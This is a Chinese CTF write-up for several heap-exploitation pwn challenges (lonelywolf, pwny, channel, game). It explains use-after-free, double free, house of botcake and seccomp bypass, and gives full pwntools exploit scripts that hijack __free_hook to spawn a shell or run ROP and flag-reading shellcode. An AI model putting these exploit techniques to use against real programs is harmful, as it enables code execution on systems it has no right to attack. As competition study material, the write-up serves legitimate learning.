第一次参加国赛,体验了一把全身心投入的 CTF 比赛。对我来说题目有难有易,质量都挺好的。(唯一的怨念是 game 这道题本地调通了,远程打不通。可恶的 libseccomp!)
lonelywolf
简述
常规堆菜单题。
漏洞为 UAF,可以修改已 free chunk 的内容,也可以 double free。
libc 为 2.27-3ubuntu1.3,应该是第一个添加了 tcache double free 检测的 ubuntu glibc。
功能齐全。但 add 时限制了 chunk size 小于等于 0x78,所以需要伪造一个 size 为 0x421 的 chunk,把它 free 进 unsortedbin 以泄漏 libc 地址。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import *
libc = ELF("./libc-2.27.so_lonelywolf") io = process("./lonelywolf")
def add(size): io.sendlineafter("Your choice: ", '1') io.sendlineafter("Index: ", '0') io.sendlineafter("Size: ", str(size))
def edit(content): io.sendlineafter("Your choice: ", '2') io.sendlineafter("Index: ", '0') io.sendafter("Content: ", content)
def show(): io.sendlineafter("Your choice: ", '3') io.sendlineafter("Index: ", '0')
def delete(): io.sendlineafter("Your choice: ", '4') io.sendlineafter("Index: ", '0')
add(0x28) delete() edit("a" * 0x10 + '\n') delete() show() io.recvuntil("Content: ") heap_addr = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 0x260 print("heap_addr = " + hex(heap_addr))
edit(p64(heap_addr + 0x58) + p64(0xdeadbeef) * 2 + p64(0x421) + b'\n') for i in range(0xb - 1): add(0x58) add(0x48) add(0x48)
add(0x28) edit(p64(0xdeadbeef) + b'\n') add(0x28) edit(p64(heap_addr + 0x280) + b'\n') add(0x28)
delete() show() io.recvuntil("Content: ") libc.address = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 0x3ebca0 print("libc.address = " + hex(libc.address))
add(0x18) delete() edit('a' * 0x10 + '\n') delete() edit(p64(libc.symbols["__free_hook"]) + b'\n') add(0x18) add(0x18) edit(p64(libc.symbols["system"]) + b'\n')
add(0x18) edit("/bin/sh" + '\n') delete()
io.interactive()
|
pwny
漏洞:bss 上任意偏移读、写
利用:先把 fd = open(“/dev/urandom”,0) 覆盖为随机值,之后再 read 会失败,fd 就会被设为 0。然后就可以控制写的内容了。之后能泄漏 libc 地址、pie 地址。要控制执行流程,有几种选择(后面三条都是看别人的 writeup 才知道的):
- 修改 exit_hook。如果找不到对应版本 ld 的话就会比较麻烦,要爆破偏移。
- 修改
__malloc_hook
,下次输入大于 0x400(大概)字节的字符串,scanf
内部就会调用 malloc。
- 修改 bss 上的
stdin
,使其指向 fake 的 struct _IO_FILE_plus
,其 vtable指针指向 fake 的 vtable,使 vtable 中 overflow 为 one_gadget
- 泄漏 libc 中 environ 指针的值后(指向栈上的环境变量),利用偏移计算处目前函数的 return 地址,覆盖为 one_gadget
channel
Arm64、libc-2.32、double free、house of botcake。比赛的时候没想到怎么利用 double free,乱搞了半天。事后回想起了 house of botcake。调试挺花时间的。
调试
用 pwndbg 调试 qemu-user 中的程序很麻烦,找不到 libc、heap 的基地址,也找不到函数,search 指令啥也搜不到。
当时我是通过 fd 找到 heap 基地址,还有跳转到 libc 中函数时寄存器中有该函数的地址,减去偏移就得到 libc 地址。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import *
libc = ELF("./libc-2.31.so_channel")
io = process(["./qemu-aarch64-static", "-g", "7780", "./channel"])
def register(key): io.sendlineafter("> ", '1') io.sendafter("key> \n", key)
def unregister(key): io.sendlineafter("> ", '2') io.sendafter("key> \n", key)
def Read(key): io.sendlineafter("> ", '3') io.sendafter("key> \n", key)
def Write(key, length, content): io.sendlineafter("> ", '4') io.sendafter("key> \n", key) io.sendafter("len> ", str(length)) io.sendafter("content> ", content)
for i in range(0, 10): register(str(i + 1) * 3)
unregister("222") Write("111", 0x118, b'A' * 0x10 * 16) gdb.attach(io) Read("111") io.recvuntil(b'A' * 0x10 * 16) heap_addr = (u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 0x6b0) | 0x4000000000 print("heap_addr = " + hex(heap_addr))
for i in range(2, 9): unregister(str(i + 1) * 3)
unregister('A' * 0x10 * 16)
unregister("111")
Write("101010", 0x18, b'B' * 0x8) Read("101010") io.recvuntil(b'B' * 8) libc.address = (u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) | 0x4000000000) - 0x16dcf0 print("libc.address = " + hex(libc.address))
Write("101010", 0x118, b"/bin/sh".ljust(0x100, b'\x00')) unregister(p64(libc.address + 0x16dac0) * 2 + b'A' * (0x10 * 16 - 8 * 2)) Write("101010", 0x1d8, b'B' * (0x110 - 0x20 - 0x20 - 0x20) + p64(0xdeadbeef) + p64(0x121) + p64(libc.symbols["__free_hook"]))
Write("101010", 0x118, p64(0xdeadbeef)) Write("101010", 0x118, p64(libc.symbols["system"])) unregister("/bin/sh")
io.interactive()
|
game
没做出来。有一些我没接触过的点。
保护
全开。seccomp 设置只允许 orw 和 mprotect。
prctl
开始时我先用 gdb 调试,总是失败。pwndbg 显示如下:
─────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
Invalid address 0x7ffff7e90e9e
逐步调试后发现调用 prctl(4, 0)
,执行 syscall 时就会发生上面的错误。
在 /usr/include/linux/prctl.h 头文件中可以找到宏定义:
1 2 3
| #define PR_GET_DUMPABLE 3 #define PR_SET_DUMPABLE 4
|
看看 man page:
PR_SET_DUMPABLE (since Linux 2.3.20)
…
…
Processes that are not dumpable can not be attached via ptrace(2) PTRACE_ATTACH; see ptrace(2) for further details.
…
这应该算一种反调试手段(我还记得 liveoverflow 的视频里有提到另一种简单的反调试方法:尝试随机改变可执行文件中的一个字节,直到不能用 gdb 调试但能直接运行)。直接 patch 掉就好了。
命令解析
和传统的菜单题不同,该程序会解析用户输入的一串命令来设置参数,然后执行对应的函数。
命令的格式是这样的:”l:8\nw:8\nop:1\n\r\n”,参数(变量)和值用冒号分开,参数之间用 ‘\n’ 分开,末尾必须以 “\r\n” 结束。
主要功能
程序可以在堆上创建一个长宽自定的二维数组 world,world 中可以添加 player。
添加 player 需要提供 id,id 会保存在 world 中,其 x,y 坐标由 rand
提供,但没有先调用 srand
,所以 x,y 坐标是可预测的。
而 player 则以头插法添加,用单链表连接起来。
还支持 player 的 delete 和 show、以及输入的 id 所对应的 player 的四个方向移动。
漏洞
player 移动时没有边界检测,导致其一字节的 id 可以跑出 world 对应的 chunk。
local 利用
libseccomp 和堆风水
接下来的利用方法只能在本地使用。原因如下:前面提到的 seccomp 是通过调用 libseccomp.so.2 中 seccomp_init
、seccomp_rule_add
和 seccomp_load
实现的,这些函数会调用 malloc 和 free,把堆搞得乱七八糟。而我的利用方法用到了 libseccomp 搞乱的 tcache 中残留的 fd 以泄漏 heap 地址,这样做十分依赖堆风水。
比赛时打远程失败了,算出的 heap 基址没有页对齐,因此我怀疑远程的 libseccomp.so.2 和附件中的不一样。。。改利用方法来不急了,做得挺心塞的。
有一种手段是在开始利用前尽量把 bin 中的 chunk 分配完。但这题的 world chunk 分配后就不能再释放了,对于我的利用方法来说,这意味着必须要多尝试几个 world chunk 的 size,赌 world chunk 不会分配到 bin 中的 chunk 上。
事实上,比赛时用上面的手段算出的远程 heap 基地址页对齐了,但我的利用方法太依赖堆风水了,改起来头昏,最后放弃了。
这次吃亏在利用方法的“顶层设计(。。。)”上了,之后想想有没有什么方法不那么依赖堆风水。
另一种稳定堆风水的手段(5 月 17 日)
看了 fmyy 师傅的 exp 总结出的。他的 exp 泄漏的 heap 基址同样没有页对齐,但只需要减一个偏移。
我们假设远程的堆风水和本地的差别不大。
通过 malloc 一个 large size 的 chunk,触发 malloc_consolidate,fastbin 中的 chunk 会被放入 smallbin 和 unsortedbin 中。
之后尽量申请 large size 的 chunk,这样 malloc size 较小时会去分割 smallbin 和 unsortedbin,或者直接分配 tcache;而 malloc size 较大时会去分割 topchunk。
利用时就利用大小和内容可控的 large size 的 chunk。
Tips:可以分两次分割一个 largechunk,利用残留 fd 分别泄漏 libc 地址和 heap 地址
利用方法
将一个 player 的 id 设为 fake chunk size(比如 0x61),然后移动,覆盖下一个(与 world chunk)临近的 chunk 的 size,free 再 add 后形成 overlap,之后再修改 fd。然后在堆上布置 rop 链,修改 __free_hook 为 setcontext
中的 gadget,最后 ROP 就行了。
exp_local
基本不可读,而且只调通了本地。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126
| from pwn import *
context.os = "linux" context.arch = "amd64" libc = ELF("./libc-2.27.so_game") io = process("./game")
payload1 = "l:8\nw:8\nop:1\n\r\n" io.sendafter("cmd> ", payload1)
payload2 = "id:22\ns:10\nop:2\n\r\n" io.sendafter("cmd> ", payload2) io.sendafter("desc> ", '\x10')
payload3 = "id:97\ns:248\nop:2\n\r\n" io.sendafter("cmd> ", payload3) io.sendafter("desc> ", p64(0xdeadbeef) * 4 + p64(0) + p64(0x21))
payload_gap = "id:140\ns:1408\nop:2\n\r\n" io.sendafter("cmd> ", payload_gap) io.sendafter("desc> ", p64(0xdeadbeef))
payload_gap_2 = "id:141\ns:1408\nop:2\n\r\n" io.sendafter("cmd> ", payload_gap_2) io.sendafter("desc> ", p64(0xdeadbeef))
payload4 = "op:4\n\r\n" io.sendafter("cmd> ", payload4) io.recvuntil("22: (7,6) ") heap_addr = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 0x2110 print("heap_addr = " + hex(heap_addr))
payload_delete_big = "id:140\nop:3\n\r\n" io.sendafter("cmd> ", payload_delete_big)
payload_add_big = "id:142\ns:1408\nop:2\n\r\n" io.sendafter("cmd> ", payload_add_big) io.sendafter("desc> ", '\x20')
payload_libc = "op:4\n\r\n" io.sendafter("cmd> ", payload_libc) io.recvuntil("142: (1,5) ") libc.address = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 0x3ebc20 print("libc.address = " + hex(libc.address))
payload5 = "id:97\nop:6\n\r\n" io.sendafter("cmd> ", payload5) io.sendafter("cmd> ", payload5) io.sendafter("cmd> ", payload5) io.sendafter("cmd> ", payload5) io.sendafter("cmd> ", payload5) io.sendafter("cmd> ", payload5) payload6 = "id:97\nop:7\n\r\n" io.sendafter("cmd> ", payload6)
payload7 = "id:22\nop:3\n\r\n" io.sendafter("cmd> ", payload7) payload8 = "id:97\nop:3\n\r\n" io.sendafter("cmd> ", payload8)
payload_9 = "id:50\ns:88\nop:2\n\r\n" io.sendafter("cmd> ", payload_9) io.sendafter("desc> ", b'A' * 0x20 + p64(0xdeadbeef) + p64(0x101) + p64(libc.symbols["__free_hook"]))
payload_10 = "id:51\ns:248\nop:2\n\r\n" io.sendafter("cmd> ", payload_10) io.sendafter("desc> ", p64(0xdeadbeef))
payload_11 = "id:52\ns:248\nop:2\n\r\n" io.sendafter("cmd> ", payload_11) io.sendafter("desc> ", p64(libc.address + 0x52145))
payload_12 = "id:52\ns:2056\nop:2\n\r\n" io.sendafter("cmd> ", payload_12)
rop_base = heap_addr + 0x2e90 p_rdi = libc.address + 0x2155f p_rsi = libc.address + 0x23e8a p_rdx = libc.address + 0x1b96 shellcode = asm(''' sub rsp, 0x800 push 0x67616c66 mov rdi, rsp xor esi, esi mov eax, 2 syscall
cmp eax, 0 js failed
mov edi, eax mov rsi, rsp mov edx, 0x100 xor eax, eax syscall
mov edx, eax mov rsi, rsp mov edi, 1 mov eax, edi syscall
jmp exit
failed: push 0x6c696166 mov edi, 1 mov rsi, rsp mov edx, 4 mov eax, edi syscall
exit: xor edi, edi mov eax, 231 syscall ''') rop_payload = (p64(p_rdi) * 2 + p64(heap_addr) + p64(p_rsi) + p64(21000) + p64(p_rdx) + p64(7) + p64(libc.symbols["mprotect"]) + p64(heap_addr + 0x2f40)).ljust(0xa0, b'\x00') + p64(rop_base) + p64(p_rdi) + shellcode io.sendafter("desc> ", rop_payload)
payload_delete_hh = "id:52\nop:3\n\r\n" io.sendafter("cmd> ", payload_delete_hh)
io.interactive()
|